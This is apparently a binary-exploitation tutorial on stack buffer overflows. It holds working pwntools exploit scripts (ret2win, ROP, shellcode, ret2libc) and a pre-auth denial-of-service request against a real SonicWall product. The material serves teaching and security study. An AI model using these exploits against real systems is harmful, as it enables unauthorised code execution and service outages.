Stack Overflow
Stack-based buffer overflow exploitation covering return address overwrite, shellcode injection, NOP sleds, and controlling program execution flow.
Contents
- What is a Stack Overflow?
- Vulnerable Functions
- Example Vulnerable Code
- Finding the Offset
- Method 1: De Bruijn Sequence (pwntools)
- Method 2: GEF/GDB
- Method 3: Manual
- Exploitation Techniques
- 1. Ret2win (Simplest)
- 2. Ret2win with Parameters (64-bit)
- 3. Stack Shellcode (NX disabled)
- 4. Ret2libc (NX enabled)
- 64-bit vs 32-bit Key Differences
- Real-World CVE Examples (from HackTricks)
- CVE-2025-40596 (SonicWall SMA100)
- CVE-2025-12686 (Synology BeeStation - Pwn2Own 2025)
- References
Stack Overflow
Sources: HackTricks - Stack Overflow | Crypto-Cat Binary Exploitation 101
What is a Stack Overflow?
A stack overflow occurs when a program writes more data to the stack than allocated. This overwrites adjacent memory — including the saved return address (EIP/RIP) and saved base pointer (EBP/RBP).
Vulnerable Functions
gets(buffer); // NEVER use - no bounds checking
strcpy(dst, src); // No length limit
strcat(dst, src); // No length limit
sprintf(buf, fmt); // No length limit
scanf("%s", buf); // No length limit
// These CAN be vulnerable if length > allocation:
fgets(buf, len, fp);
read(fd, buf, len);
memcpy(dst, src, len);
Example Vulnerable Code
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // <-- OVERFLOW HERE
printf("You entered: %s\n", buffer);
}
Finding the Offset
Method 1: De Bruijn Sequence (pwntools)
from pwn import *
# Generate pattern
pattern = cyclic(1000)
# After crash, find offset from EIP value
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value)
print(f"Offset: {offset}")
Method 2: GEF/GDB
# Generate pattern
pattern create 200
# After crash, find offset
pattern search $rsp
pattern search "avaaawaa"
Method 3: Manual
# Send increasing 'A's until crash
python3 -c 'print("A"*1000)' | ./binary
# If crash at 0x41414141 → you control EIP
Exploitation Techniques
1. Ret2win (Simplest)
There’s a hidden function (e.g., win(), flag()) that’s never called. Overwrite return address to call it.
from pwn import *
elf = ELF('./vuln')
p = process('./vuln')
offset = 76 # found via pattern
win_addr = elf.symbols['win'] # or find via objdump
payload = b'A' * offset
payload += p32(win_addr)
p.sendline(payload)
p.interactive()
2. Ret2win with Parameters (64-bit)
In x86-64, first 6 args go in registers: RDI, RSI, RDX, RCX, R8, R9
from pwn import *
elf = ELF('./vuln')
rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0] # stack alignment
payload = b'A' * offset
payload += p64(ret) # align stack (Ubuntu 18.04+)
payload += p64(pop_rdi)
payload += p64(0xdeadbeef) # arg1
payload += p64(elf.symbols['win'])
p.sendline(payload)
3. Stack Shellcode (NX disabled)
from pwn import *
context.arch = 'i386' # or 'amd64'
shellcode = asm(shellcraft.sh())
buf_addr = 0xffffd080 # address of buffer (no ASLR)
payload = shellcode
payload += b'A' * (offset - len(shellcode))
payload += p32(buf_addr)
p.sendline(payload)
4. Ret2libc (NX enabled)
from pwn import *
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
elf = ELF('./vuln')
# If ASLR disabled:
system = libc.symbols['system']
bin_sh = next(libc.search(b'/bin/sh'))
payload = b'A' * offset
payload += p32(system)
payload += p32(0xdeadbeef) # fake return addr
payload += p32(bin_sh)
p.sendline(payload)
64-bit vs 32-bit Key Differences
| Feature | 32-bit | 64-bit |
|---|---|---|
| Addresses | 4 bytes | 8 bytes |
| Args passing | Stack | RDI, RSI, RDX, RCX, R8, R9 |
| Return addr | p32() | p64() |
| Stack alignment | Not needed | Need ret gadget before function calls |
| ROP gadgets | pop eax; ret | pop rdi; ret etc. |
Real-World CVE Examples (from HackTricks)
CVE-2025-40596 (SonicWall SMA100)
char version[3];
char endpoint[0x800] = {0};
// No length limit on %s!
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
# Pre-auth DoS
import requests
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)
CVE-2025-12686 (Synology BeeStation - Pwn2Own 2025)
- Pre-auth overflow in Base64-decoded JSON
- Fork-based server → all children share same canary
- Brute-force canary byte-by-byte using HTTP response oracle (200 vs 502)
- Once canary + PIE base known → ROP chain to
execl("/bin/bash")